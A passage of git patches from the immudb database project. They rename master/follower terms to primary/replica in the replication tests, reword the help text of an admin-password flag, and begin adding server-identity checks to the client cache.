auth.PermissionAdmin, suite.masterDBName) + err = mClient.CreateUser(mctx, []byte(primaryUsername), []byte(primaryPassword), auth.PermissionAdmin, suite.primaryDBName) require.NoError(suite.T(), err) - err = mClient.SetActiveUser(mctx, &schema.SetActiveUserRequest{Active: true, Username: replicaUsername}) + err = mClient.SetActiveUser(mctx, &schema.SetActiveUserRequest{Active: true, Username: primaryUsername}) require.NoError(suite.T(), err) - host, port := suite.master.Address(suite.T()) + host, port := suite.primary.Address(suite.T()) - for i, _ := range suite.followers { - ctx, client, cleanup := suite.internalClientFor(suite.followers[i], suite.followersDBName[i]) + for i, _ := range suite.replicas { + ctx, client, cleanup := suite.internalClientFor(suite.replicas[i], suite.replicasDBName[i]) defer cleanup() - _, err = client.UpdateDatabaseV2(ctx, suite.followersDBName[i], &schema.DatabaseNullableSettings{ + _, err = client.UpdateDatabaseV2(ctx, suite.replicasDBName[i], &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: true}, PrimaryHost: &schema.NullableString{Value: host}, PrimaryPort: &schema.NullableUint32{Value: uint32(port)}, - PrimaryDatabase: &schema.NullableString{Value: suite.masterDBName}, - PrimaryUsername: &schema.NullableString{Value: replicaUsername}, - PrimaryPassword: &schema.NullableString{Value: replicaPassword}, + PrimaryDatabase: &schema.NullableString{Value: suite.primaryDBName}, + PrimaryUsername: &schema.NullableString{Value: primaryUsername}, + PrimaryPassword: &schema.NullableString{Value: primaryPassword}, }, }) require.NoError(suite.T(), err) } } -func (suite *baseReplicationTestSuite) StartMaster(syncAcks int) { +func (suite *baseReplicationTestSuite) StartPrimary(syncAcks int) { suite.mu.Lock() defer suite.mu.Unlock() - require.Nil(suite.T(), suite.master) + require.Nil(suite.T(), suite.primary) srv := suite.srvProvider.AddServer(suite.T()) - suite.master = srv + suite.primary = srv mctx, client, cleanup := suite.internalClientFor(srv, client.DefaultDB) defer cleanup() @@ -191,40 +191,40 @@ func (suite *baseReplicationTestSuite) StartMaster(syncAcks int) { } } - _, err := client.CreateDatabaseV2(mctx, suite.masterDBName, settings) + _, err := client.CreateDatabaseV2(mctx, suite.primaryDBName, settings) require.NoError(suite.T(), err) - mdb, err := client.UseDatabase(mctx, &schema.Database{DatabaseName: suite.masterDBName}) + mdb, err := client.UseDatabase(mctx, &schema.Database{DatabaseName: suite.primaryDBName}) require.NoError(suite.T(), err) require.NotNil(suite.T(), mdb) - err = client.CreateUser(mctx, []byte(replicaUsername), []byte(replicaPassword), auth.PermissionAdmin, suite.masterDBName) + err = client.CreateUser(mctx, []byte(primaryUsername), []byte(primaryPassword), auth.PermissionAdmin, suite.primaryDBName) require.NoError(suite.T(), err) - err = client.SetActiveUser(mctx, &schema.SetActiveUserRequest{Active: true, Username: replicaUsername}) + err = client.SetActiveUser(mctx, &schema.SetActiveUserRequest{Active: true, Username: primaryUsername}) require.NoError(suite.T(), err) - suite.masterRunning = true + suite.primaryRunning = true } -func (suite *baseReplicationTestSuite) StopMaster() { +func (suite *baseReplicationTestSuite) StopPrimary() { suite.mu.Lock() defer suite.mu.Unlock() - require.NotNil(suite.T(), suite.master) + require.NotNil(suite.T(), suite.primary) - suite.master.Shutdown(suite.T()) - suite.masterRunning = false + suite.primary.Shutdown(suite.T()) + suite.primaryRunning = false } -func (suite *baseReplicationTestSuite) RestartMaster() { - suite.StopMaster() +func (suite *baseReplicationTestSuite) RestartPrimary() { + suite.StopPrimary() suite.mu.Lock() defer suite.mu.Unlock() - suite.master.Start(suite.T()) - suite.masterRunning = true + suite.primary.Start(suite.T()) + suite.primaryRunning = true } func (suite *baseReplicationTestSuite) internalClientFor(srv TestServer, dbName string) (context.Context, client.ImmuClient, func()) { @@ -249,18 +249,18 @@ func (suite *baseReplicationTestSuite) internalClientFor(srv TestServer, dbName return context.Background(), c, func() { c.CloseSession(context.Background()) } } -func (suite *baseReplicationTestSuite) ClientForMaster() (mctx context.Context, client client.ImmuClient, cleanup func()) { +func (suite *baseReplicationTestSuite) ClientForPrimary() (mctx context.Context, client client.ImmuClient, cleanup func()) { suite.mu.Lock() defer suite.mu.Unlock() - return suite.internalClientFor(suite.master, suite.masterDBName) + return suite.internalClientFor(suite.primary, suite.primaryDBName) } -func (suite *baseReplicationTestSuite) ClientForReplica(replicaNum int) (fctx context.Context, client client.ImmuClient, cleanup func()) { +func (suite *baseReplicationTestSuite) ClientForReplica(replicaNum int) (rctx context.Context, client client.ImmuClient, cleanup func()) { suite.mu.Lock() defer suite.mu.Unlock() - return suite.internalClientFor(suite.followers[replicaNum], suite.followersDBName[replicaNum]) + return suite.internalClientFor(suite.replicas[replicaNum], suite.replicasDBName[replicaNum]) } func (suite *baseReplicationTestSuite) WaitForCommittedTx( @@ -288,9 +288,9 @@ func (suite *baseReplicationTestSuite) WaitForCommittedTx( } func (suite *baseReplicationTestSuite) SetupCluster(syncReplicas, syncAcks, asyncReplicas int) { - suite.masterDBName = masterDBName + suite.primaryDBName = primaryDBName - suite.StartMaster(syncAcks) + suite.StartPrimary(syncAcks) wg := sync.WaitGroup{} @@ -298,7 +298,7 @@ func (suite *baseReplicationTestSuite) SetupCluster(syncReplicas, syncAcks, asyn wg.Add(1) go func() { defer wg.Done() - suite.AddFollower(true) + suite.AddReplica(true) }() } @@ -306,7 +306,7 @@ func (suite *baseReplicationTestSuite) SetupCluster(syncReplicas, syncAcks, asyn wg.Add(1) go func() { defer wg.Done() - suite.AddFollower(false) + suite.AddReplica(false) }() } @@ -314,11 +314,11 @@ func (suite *baseReplicationTestSuite) SetupCluster(syncReplicas, syncAcks, asyn } func (suite *baseReplicationTestSuite) ValidateClusterSetup() { - uuids := make(map[string]struct{}, 1+suite.GetFollowersCount()) + uuids := make(map[string]struct{}, 1+suite.GetReplicasCount()) - uuids[suite.master.UUID(suite.T()).String()] = struct{}{} + uuids[suite.primary.UUID(suite.T()).String()] = struct{}{} - for _, f := range suite.followers { + for _, f := range suite.replicas { uuid := f.UUID(suite.T()).String() if _, ok := uuids[uuid]; ok { @@ -346,18 +346,18 @@ func (suite *baseReplicationTestSuite) TearDownTest() { suite.mu.Lock() defer suite.mu.Unlock() - // stop followers - for i, srv := range suite.followers { - if suite.followersRunning[i] { + // stop replicas + for i, srv := range suite.replicas { + if suite.replicasRunning[i] { srv.Shutdown(suite.T()) } } - suite.followers = []TestServer{} + suite.replicas = []TestServer{} - // stop master - if suite.master != nil { - suite.master.Shutdown(suite.T()) - suite.master = nil + // stop primary + if suite.primary != nil { + suite.primary.Shutdown(suite.T()) + suite.primary = nil } - suite.master = nil + suite.primary = nil } diff --git a/pkg/integration/replication/synchronous_replication_test.go b/pkg/integration/replication/synchronous_replication_test.go index 771bd38a9f..46d8de2309 100644 --- a/pkg/integration/replication/synchronous_replication_test.go +++ b/pkg/integration/replication/synchronous_replication_test.go @@ -13,23 +13,23 @@ import ( "github.com/stretchr/testify/suite" ) -type SyncTestSuiteMasterToAllFollowers struct { +type SyncTestSuitePrimaryToAllReplicas struct { baseReplicationTestSuite } -func TestSyncTestSuiteMasterToAllFollowers(t *testing.T) { - suite.Run(t, &SyncTestSuiteMasterToAllFollowers{}) +func TestSyncTestSuitePrimaryToAllReplicas(t *testing.T) { + suite.Run(t, &SyncTestSuitePrimaryToAllReplicas{}) } // this function executes before the test suite begins execution -func (suite *SyncTestSuiteMasterToAllFollowers) SetupTest() { +func (suite *SyncTestSuitePrimaryToAllReplicas) SetupTest() { suite.baseReplicationTestSuite.SetupTest() suite.SetupCluster(2, 2, 0) suite.ValidateClusterSetup() } -func (suite *SyncTestSuiteMasterToAllFollowers) TestSyncFromMasterToAllFollowers() { - ctx, client, cleanup := suite.ClientForMaster() +func (suite *SyncTestSuitePrimaryToAllReplicas) TestSyncFromPrimaryToAllReplicas() { + ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() tx1, err := client.Set(ctx, []byte("key1"), []byte("value1")) @@ -38,14 +38,14 @@ func (suite *SyncTestSuiteMasterToAllFollowers) TestSyncFromMasterToAllFollowers tx2, err := client.Set(ctx, []byte("key2"), []byte("value2")) require.NoError(suite.T(), err) - for i := 0; i < suite.GetFollowersCount(); i++ { + for i := 0; i < suite.GetReplicasCount(); i++ { suite.Run(fmt.Sprintf("test replica %d", i), func() { ctx, client, cleanup := suite.ClientForReplica(i) defer cleanup() // Tests are flaky because it takes time to commit the // precommitted TX, so this function just ensures the state - // is in sync between master and follower + // is in sync between primary and replica suite.WaitForCommittedTx(ctx, client, tx2.Id, time.Duration(3)*time.Second) val, err := client.GetAt(ctx, []byte("key1"), tx1.Id) @@ -59,26 +59,26 @@ func (suite *SyncTestSuiteMasterToAllFollowers) TestSyncFromMasterToAllFollowers } } -type SyncTestSuiteMasterRestart struct { +type SyncTestSuitePrimaryRestart struct { baseReplicationTestSuite } -func TestSyncTestSuiteMasterRestart(t *testing.T) { - suite.Run(t, &SyncTestSuiteMasterRestart{}) +func TestSyncTestSuitePrimaryRestart(t *testing.T) { + suite.Run(t, &SyncTestSuitePrimaryRestart{}) } // this function executes before the test suite begins execution -func (suite *SyncTestSuiteMasterRestart) SetupTest() { +func (suite *SyncTestSuitePrimaryRestart) SetupTest() { suite.baseReplicationTestSuite.SetupTest() suite.SetupCluster(2, 2, 0) suite.ValidateClusterSetup() } -func (suite *SyncTestSuiteMasterRestart) TestMasterRestart() { +func (suite *SyncTestSuitePrimaryRestart) TestPrimaryRestart() { var txBeforeRestart *schema.TxHeader suite.Run("commit before restarting primary", func() { - ctx, client, cleanup := suite.ClientForMaster() + ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() tx, err := client.Set(ctx, []byte("key-before-restart"), []byte("value-before-restart")) @@ -87,23 +87,23 @@ func (suite *SyncTestSuiteMasterRestart) TestMasterRestart() { txBeforeRestart = tx }) - suite.RestartMaster() + suite.RestartPrimary() - suite.Run("commit after restarting master", func() { - ctx, client, cleanup := suite.ClientForMaster() + suite.Run("commit after restarting primary", func() { + ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() tx, err := client.Set(ctx, []byte("key3"), []byte("value3")) require.NoError(suite.T(), err) - for i := 0; i < suite.GetFollowersCount(); i++ { - suite.Run(fmt.Sprintf("check follower %d", i), func() { + for i := 0; i < suite.GetReplicasCount(); i++ { + suite.Run(fmt.Sprintf("check replica %d", i), func() { ctx, client, cleanup := suite.ClientForReplica(i) defer cleanup() // Tests are flaky because it takes time to commit the // precommitted TX, so this function just ensures the state - // is in sync between master and follower + // is in sync between primary and replica suite.WaitForCommittedTx(ctx, client, tx.Id, 30*time.Second) // Longer time since replica must reestablish connection to the primary val, err := client.GetAt(ctx, []byte("key3"), tx.Id) @@ -133,42 +133,42 @@ func (suite *SyncTestSuitePrecommitStateSync) SetupTest() { suite.ValidateClusterSetup() } -// TestPrecommitStateSync checks if the precommit state at master -// and its followers are in sync during synchronous replication +// TestPrecommitStateSync checks if the precommit state at primary +// and its replicas are in sync during synchronous replication func (suite *SyncTestSuitePrecommitStateSync) TestPrecommitStateSync() { var ( - masterState *schema.ImmutableState - err error - startCh = make(chan bool) + primaryState *schema.ImmutableState + err error + startCh = make(chan bool) ) - ctx, client, cleanup := suite.ClientForMaster() + ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() // Create goroutines for client waiting to query the state - // of the followers. This is initialised before to avoid - // spending time initialising the follower client for faster + // of the replicas. This is initialized before to avoid + // spending time initializing the replica client for faster // state access var wg sync.WaitGroup - for i := 0; i < suite.GetFollowersCount(); i++ { + for i := 0; i < suite.GetReplicasCount(); i++ { wg.Add(1) - go func(followerID int) { + go func(replicaID int) { defer wg.Done() - ctx, client, cleanup := suite.ClientForReplica(followerID) + ctx, client, cleanup := suite.ClientForReplica(replicaID) defer cleanup() <-startCh - suite.Run(fmt.Sprintf("test replica sync state %d", followerID), func() { + suite.Run(fmt.Sprintf("test replica sync state %d", replicaID), func() { state, err := client.CurrentState(ctx) require.NoError(suite.T(), err) - suite.Require().Equal(state.PrecommittedTxId, masterState.TxId) - suite.Require().Equal(state.PrecommittedTxHash, masterState.TxHash) + suite.Require().Equal(state.PrecommittedTxId, primaryState.TxId) + suite.Require().Equal(state.PrecommittedTxHash, primaryState.TxHash) }) }(i) } - // add multiple keys to make update the master's state quickly + // add multiple keys to make update the primary's state quickly for i := 10; i < 30; i++ { key := fmt.Sprintf("key%d", i) value := fmt.Sprintf("value%d", i) @@ -176,8 +176,8 @@ func (suite *SyncTestSuitePrecommitStateSync) TestPrecommitStateSync() { require.NoError(suite.T(), err) } - // get the current precommit txn id state of master - masterState, err = client.CurrentState(ctx) + // get the current precommit txn id state of primary + primaryState, err = client.CurrentState(ctx) require.NoError(suite.T(), err) // close will unblock all goroutines @@ -186,30 +186,30 @@ func (suite *SyncTestSuitePrecommitStateSync) TestPrecommitStateSync() { wg.Wait() } -type SyncTestMinimumFollowersSuite struct { +type SyncTestMinimumReplicasSuite struct { baseReplicationTestSuite } -func TestSyncTestMinimumFollowersSuite(t *testing.T) { - suite.Run(t, &SyncTestMinimumFollowersSuite{}) +func TestSyncTestMinimumReplicasSuite(t *testing.T) { + suite.Run(t, &SyncTestMinimumReplicasSuite{}) } // this function executes before the test suite begins execution -func (suite *SyncTestMinimumFollowersSuite) SetupTest() { +func (suite *SyncTestMinimumReplicasSuite) SetupTest() { suite.baseReplicationTestSuite.SetupTest() suite.SetupCluster(4, 2, 0) suite.ValidateClusterSetup() } -// TestMinimumFollowers ensures the primary can operate as long as the minimum +// TestMinimumReplicas ensures the primary can operate as long as the minimum // number of replicas send their confirmations -func (suite *SyncTestMinimumFollowersSuite) TestMinimumFollowers() { +func (suite *SyncTestMinimumReplicasSuite) TestMinimumReplicas() { - ctx, client, cleanup := suite.ClientForMaster() + ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() suite.Run("should commit successfully without one replica", func() { - suite.StopFollower(0) + suite.StopReplica(0) ctxTimeout, cancel := context.WithTimeout(ctx, time.Second) defer cancel() @@ -219,7 +219,7 @@ func (suite *SyncTestMinimumFollowersSuite) TestMinimumFollowers() { }) suite.Run("should commit successfully without two replicas", func() { - suite.StopFollower(1) + suite.StopReplica(1) ctxTimeout, cancel := context.WithTimeout(ctx, time.Second) defer cancel() @@ -229,7 +229,7 @@ func (suite *SyncTestMinimumFollowersSuite) TestMinimumFollowers() { }) suite.Run("should not commit without three replicas", func() { - suite.StopFollower(2) + suite.StopReplica(2) ctxTimeout, cancel := context.WithTimeout(ctx, time.Second) defer cancel() @@ -240,7 +240,7 @@ func (suite *SyncTestMinimumFollowersSuite) TestMinimumFollowers() { }) suite.Run("should commit again once first replica is back online", func() { - suite.StartFollower(0) + suite.StartReplica(0) ctxTimeout, cancel := context.WithTimeout(ctx, time.Second) defer cancel() @@ -250,11 +250,11 @@ func (suite *SyncTestMinimumFollowersSuite) TestMinimumFollowers() { }) suite.Run("should recover with all replicas replaced", func() { - suite.StopFollower(0) - suite.StopFollower(3) + suite.StopReplica(0) + suite.StopReplica(3) - suite.AddFollower(true) - suite.AddFollower(true) + suite.AddReplica(true) + suite.AddReplica(true) ctxTimeout, cancel := context.WithTimeout(ctx, time.Second) defer cancel() @@ -304,9 +304,9 @@ func (suite *SyncTestRecoverySpeedSuite) TestReplicaRecoverySpeed() { const parallelWriters = 30 const samplingTime = time.Second * 5 - // Stop the follower, we don't replicate any transactions to it now + // Stop the replica, we don't replicate any transactions to it now // but we can still commit using the second replica - suite.StopFollower(0) + suite.StopReplica(0) var txWritten uint64 @@ -323,7 +323,7 @@ func (suite *SyncTestRecoverySpeedSuite) TestReplicaRecoverySpeed() { go func(i int) { defer wgFinish.Done() - ctx, client, cleanup := suite.ClientForMaster() + ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() // Wait for the start signal @@ -365,10 +365,10 @@ func (suite *SyncTestRecoverySpeedSuite) TestReplicaRecoverySpeed() { suite.Run("Ensure replica can recover in reasonable amount of time", func() { - // Stop the second follower, now the DB is locked - suite.StopFollower(1) + // Stop the second replica, now the DB is locked + suite.StopReplica(1) - ctx, client, cleanup := suite.ClientForMaster() + ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() state, err := client.CurrentState(ctx) @@ -377,23 +377,23 @@ func (suite *SyncTestRecoverySpeedSuite) TestReplicaRecoverySpeed() { // Check if we can recover the cluster and perform write within the double the amount of time // that was needed for initial sampling. The replica that was initially stopped and now - // started has the same amount of transaction to grab from master as the other one + // started has the same amount of transaction to grab from primary as the other one // which should take the same amount of time as the initial write period or less // (since the primary is not persisting data this time). ctxTimeout, cancel := context.WithTimeout(ctx, samplingTime*2) defer cancel() - suite.StartFollower(0) // 1 down + suite.StartReplica(0) // 1 down tx, err = client.Set(ctxTimeout, []byte("key-after-recovery"), []byte("value-after-recovery")) suite.NoError(err) }) suite.Run("Ensure the data is readable from replicas", func() { - suite.StartFollower(1) + suite.StartReplica(1) suite.Run("primary", func() { - ctx, client, cleanup := suite.ClientForMaster() + ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() val, err := client.GetAt(ctx, []byte("key-after-recovery"), tx.Id) @@ -401,7 +401,7 @@ func (suite *SyncTestRecoverySpeedSuite) TestReplicaRecoverySpeed() { suite.Equal([]byte("value-after-recovery"), val.Value) }) - for i := 0; i < suite.GetFollowersCount(); i++ { + for i := 0; i < suite.GetReplicasCount(); i++ { suite.Run(fmt.Sprintf("replica %d", i), func() { ctx, client, cleanup := suite.ClientForReplica(i) defer cleanup() @@ -417,21 +417,21 @@ func (suite *SyncTestRecoverySpeedSuite) TestReplicaRecoverySpeed() { } -type SyncTestWithAsyncFollowersSuite struct { +type SyncTestWithAsyncReplicaSuite struct { baseReplicationTestSuite } -func TestSyncTestWithAsyncFollowersSuite(t *testing.T) { - suite.Run(t, &SyncTestWithAsyncFollowersSuite{}) +func TestSyncTestWithAsyncReplicaSuite(t *testing.T) { + suite.Run(t, &SyncTestWithAsyncReplicaSuite{}) } -func (suite *SyncTestWithAsyncFollowersSuite) SetupTest() { +func (suite *SyncTestWithAsyncReplicaSuite) SetupTest() { suite.baseReplicationTestSuite.SetupTest() suite.SetupCluster(2, 1, 1) suite.ValidateClusterSetup() } -func (suite *SyncTestWithAsyncFollowersSuite) TestSyncReplicationAlongWithAsyncFollowers() { +func (suite *SyncTestWithAsyncReplicaSuite) TestSyncReplicationAlongWithAsyncReplicas() { const parallelWriters = 30 const samplingTime = time.Second * 5 @@ -450,7 +450,7 @@ func (suite *SyncTestWithAsyncFollowersSuite) TestSyncReplicationAlongWithAsyncF go func(i int) { defer wgFinish.Done() - ctx, client, cleanup := suite.ClientForMaster() + ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() // Wait for the start signal @@ -488,14 +488,14 @@ func (suite *SyncTestWithAsyncFollowersSuite) TestSyncReplicationAlongWithAsyncF }) suite.Run("Ensure the data is available in all the replicas", func() { - ctx, client, cleanup := suite.ClientForMaster() + ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() state, err := client.CurrentState(ctx) suite.Require().NoError(err) suite.Require().Greater(state.TxId, txWritten, "Ensure enough TXs were written") - for i := 0; i < suite.GetFollowersCount(); i++ { + for i := 0; i < suite.GetReplicasCount(); i++ { suite.Run(fmt.Sprintf("replica %d", i), func() { ctx, client, cleanup := suite.ClientForReplica(i) defer cleanup() @@ -507,65 +507,65 @@ func (suite *SyncTestWithAsyncFollowersSuite) TestSyncReplicationAlongWithAsyncF } -type SyncTestChangingMasterSuite struct { +type SyncTestChangingPrimarySuite struct { baseReplicationTestSuite } -func TestSyncTestChangingMasterSuite(t *testing.T) { - suite.Run(t, &SyncTestChangingMasterSuite{}) +func TestSyncTestChangingPrimarySuite(t *testing.T) { + suite.Run(t, &SyncTestChangingPrimarySuite{}) } -func (suite *SyncTestChangingMasterSuite) SetupTest() { +func (suite *SyncTestChangingPrimarySuite) SetupTest() { suite.baseReplicationTestSuite.SetupTest() suite.SetupCluster(2, 2, 0) suite.ValidateClusterSetup() } -func (suite *SyncTestChangingMasterSuite) TestSyncTestChangingMasterSuite() { - var txBeforeChangingMaster *schema.TxHeader +func (suite *SyncTestChangingPrimarySuite) TestSyncTestChangingPrimarySuite() { + var txBeforeChangingPrimary *schema.TxHeader suite.Run("commit before changing primary", func() { - ctx, client, cleanup := suite.ClientForMaster() + ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() - tx, err := client.Set(ctx, []byte("key-before-master-change"), []byte("value-before-master-change")) + tx, err := client.Set(ctx, []byte("key-before-primary-change"), []byte("value-before-primary-change")) require.NoError(suite.T(), err) - txBeforeChangingMaster = tx + txBeforeChangingPrimary = tx }) - // it's possible to promote any replica as new master because ack from all replicas is required by master - // ensure the replica to be promoted is up to date with master's commit state + // it's possible to promote any replica as new primary because ack from all replicas is required by primary + // ensure the replica to be promoted is up to date with primary's commit state ctx, client, cleanup := suite.ClientForReplica(1) - suite.WaitForCommittedTx(ctx, client, txBeforeChangingMaster.Id, 1*time.Second) + suite.WaitForCommittedTx(ctx, client, txBeforeChangingPrimary.Id, 1*time.Second) cleanup() - suite.PromoteFollower(1, 1) + suite.PromoteReplica(1, 1) - suite.Run("commit after changing master", func() { - ctx, client, cleanup := suite.ClientForMaster() + suite.Run("commit after changing primary", func() { + ctx, client, cleanup := suite.ClientForPrimary() defer cleanup() - tx, err := client.Set(ctx, []byte("key-after-master-change"), []byte("value-after-master-change")) + tx, err := client.Set(ctx, []byte("key-after-primary-change"), []byte("value-after-primary-change")) require.NoError(suite.T(), err) - for i := 0; i < suite.GetFollowersCount(); i++ { - suite.Run(fmt.Sprintf("check follower %d", i), func() { + for i := 0; i < suite.GetReplicasCount(); i++ { + suite.Run(fmt.Sprintf("check replica %d", i), func() { ctx, client, cleanup := suite.ClientForReplica(i) defer cleanup() // Tests are flaky because it takes time to commit the // precommitted TX, so this function just ensures the state - // is in sync between master and follower + // is in sync between primary and replica suite.WaitForCommittedTx(ctx, client, tx.Id, 30*time.Second) // Longer time since replica must reestablish connection to the primary - val, err := client.GetAt(ctx, []byte("key-before-master-change"), txBeforeChangingMaster.Id) + val, err := client.GetAt(ctx, []byte("key-before-primary-change"), txBeforeChangingPrimary.Id) require.NoError(suite.T(), err) - require.Equal(suite.T(), []byte("value-before-master-change"), val.Value) + require.Equal(suite.T(), []byte("value-before-primary-change"), val.Value) - val, err = client.GetAt(ctx, []byte("key-after-master-change"), tx.Id) + val, err = client.GetAt(ctx, []byte("key-after-primary-change"), tx.Id) require.NoError(suite.T(), err) - require.Equal(suite.T(), []byte("value-after-master-change"), val.Value) + require.Equal(suite.T(), []byte("value-after-primary-change"), val.Value) }) } }) diff --git a/pkg/server/db_options_test.go b/pkg/server/db_options_test.go index 8855ce02a5..2d71385f44 100644 --- a/pkg/server/db_options_test.go +++ b/pkg/server/db_options_test.go @@ -69,7 +69,7 @@ func TestReplicaOptions(t *testing.T) { require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) } -func TestMasterOptions(t *testing.T) { +func TestPrimaryOptions(t *testing.T) { dir, err := ioutil.TempDir("", "server_test") require.NoError(t, err) defer os.RemoveAll(dir) @@ -100,10 +100,10 @@ func TestMasterOptions(t *testing.T) { opts.PrefetchTxBufferSize = 100 require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) - opts.PrimaryPassword = "follower-pwd" + opts.PrimaryPassword = "primary-pwd" require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) - opts.PrimaryUsername = "follower-username" + opts.PrimaryUsername = "primary-username" require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.PrimaryPort = 3323 @@ -112,7 +112,7 @@ func TestMasterOptions(t *testing.T) { opts.PrimaryHost = "localhost" require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) - opts.PrimaryDatabase = "masterdb" + opts.PrimaryDatabase = "primarydb" require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.SyncAcks = -1 diff --git a/pkg/server/options_test.go b/pkg/server/options_test.go index cfb183f7fe..50d8602e3b 100644 --- a/pkg/server/options_test.go +++ b/pkg/server/options_test.go @@ -69,8 +69,8 @@ func TestReplicationOptions(t *testing.T) { WithSyncAcks(0). WithPrimaryHost("localhost"). WithPrimaryPort(3322). - WithPrimaryUsername("follower-user"). - WithPrimaryPassword("follower-pwd"). + WithPrimaryUsername("primary-user"). + WithPrimaryPassword("primary-pwd"). WithPrefetchTxBufferSize(100). WithReplicationCommitConcurrency(5). WithAllowTxDiscarding(true) @@ -80,13 +80,13 @@ func TestReplicationOptions(t *testing.T) { require.Zero(t, repOpts.SyncAcks) require.Equal(t, "localhost", repOpts.PrimaryHost) require.Equal(t, 3322, repOpts.PrimaryPort) - require.Equal(t, "follower-user", repOpts.PrimaryUsername) - require.Equal(t, "follower-pwd", repOpts.PrimaryPassword) + require.Equal(t, "primary-user", repOpts.PrimaryUsername) + require.Equal(t, "primary-pwd", repOpts.PrimaryPassword) require.Equal(t, 100, repOpts.PrefetchTxBufferSize) require.Equal(t, 5, repOpts.ReplicationCommitConcurrency) require.True(t, repOpts.AllowTxDiscarding) - // master-related settings + // primary-related settings repOpts. WithIsReplica(false). WithSyncReplication(true). diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 7a0d638640..faa0d9c769 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -387,7 +387,7 @@ func TestServerCreateDatabase(t *testing.T) { dbSettings := &schema.DatabaseSettings{ DatabaseName: "lisbon", Replica: false, - PrimaryDatabase: "masterdb", + PrimaryDatabase: "primarydb", } _, err = s.CreateDatabaseWith(ctx, dbSettings) require.ErrorIs(t, err, ErrIllegalArguments) From bc11c53a137f9dc1c9bfa1945aa421cc06b60d76 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Thu, 10 Nov 2022 09:12:20 +0100 Subject: [PATCH 0013/1062] fix(cmd/immudb): Better description of the `--force-admin-password` flag MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- cmd/immudb/command/init.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 1cd734a95d..a971126c9b 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -58,7 +58,7 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().String("clientcas", "", "clients certificates list. Aka certificate authority") cmd.Flags().Bool("devmode", options.DevMode, "enable dev mode: accept remote connections without auth") cmd.Flags().String("admin-password", options.AdminPassword, "admin password (default is 'immudb') as plain-text or base64 encoded (must be prefixed with 'enc:' if it is encoded)") - cmd.Flags().Bool("force-admin-password", false, "if true, reset the admin password is to the one passed through admin-password option if it was changed") + cmd.Flags().Bool("force-admin-password", false, "if true, reset the admin password to the one passed through admin-password option upon startup") cmd.Flags().Bool("maintenance", options.GetMaintenance(), "override the authentication flag") cmd.Flags().String("signingKey", options.SigningKey, "signature private key path. If a valid one is provided, it enables the cryptographic signature of the root. e.g. \"./../test/signer/ec3.key\"") cmd.Flags().Bool("synced", true, "synced mode prevents data lost under unexpected crashes but affects performance") From 6f1d3ef42bfc37e173dc4706408dfb726e7603db Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Fri, 9 Sep 2022 17:58:07 +0200 Subject: [PATCH 0014/1062] fix(pkg/client/cache): Add methods to validate server identity MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- pkg/client/cache/cache.go | 4 + pkg/client/cache/common.go | 126 +++++++++++++++++++++++++ pkg/client/cache/common_test.go | 79 ++++++++++++++++ pkg/client/cache/file_cache.go | 8 ++ pkg/client/cache/history_file_cache.go | 12 ++- pkg/client/cache/inmemory_cache.go | 27 +++++- 6 files changed, 249 insertions(+), 7 deletions(-) create mode 100644 pkg/client/cache/common.go create mode 100644 pkg/client/cache/common_test.go diff --git a/pkg/client/cache/cache.go b/pkg/client/cache/cache.go index 0a4074e8e4..a87b97f729 100644 --- a/pkg/client/cache/cache.go +++ b/pkg/client/cache/cache.go @@ -24,6 +24,7 @@ import ( var ErrCacheNotLocked = errors.New("cache is not locked") var ErrCacheAlreadyLocked = errors.New("cache is already locked") +var ErrServerIdentityValidationFailed = errors.New("failed to validate the identity of the server") // Cache the cache interface type Cache interface { @@ -31,6 +32,9 @@ type Cache interface { Set(serverUUID, db string, state *schema.ImmutableState) error Lock(serverUUID string) error Unlock() error + + // Consistency check validates that a server with given identity can use given server uuid + ServerIdentityCheck(serverIdentity, serverUUID string) error } // HistoryCache the history cache interface diff --git a/pkg/client/cache/common.go b/pkg/client/cache/common.go new file mode 100644 index 0000000000..9a1af9985e --- /dev/null +++ b/pkg/client/cache/common.go @@ -0,0 +1,126 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package cache + +import ( + "crypto/sha256" + "encoding/hex" + "encoding/json" + "fmt" + "os" + "path/filepath" + + "github.com/rogpeppe/go-internal/lockedfile" +) + +const IDENTITY_FN = ".identity-" + +func getFilenameForServerIdentity(serverIdentity, identityDir string) string { + identityHashRaw := sha256.Sum256([]byte(serverIdentity)) + identityHash := 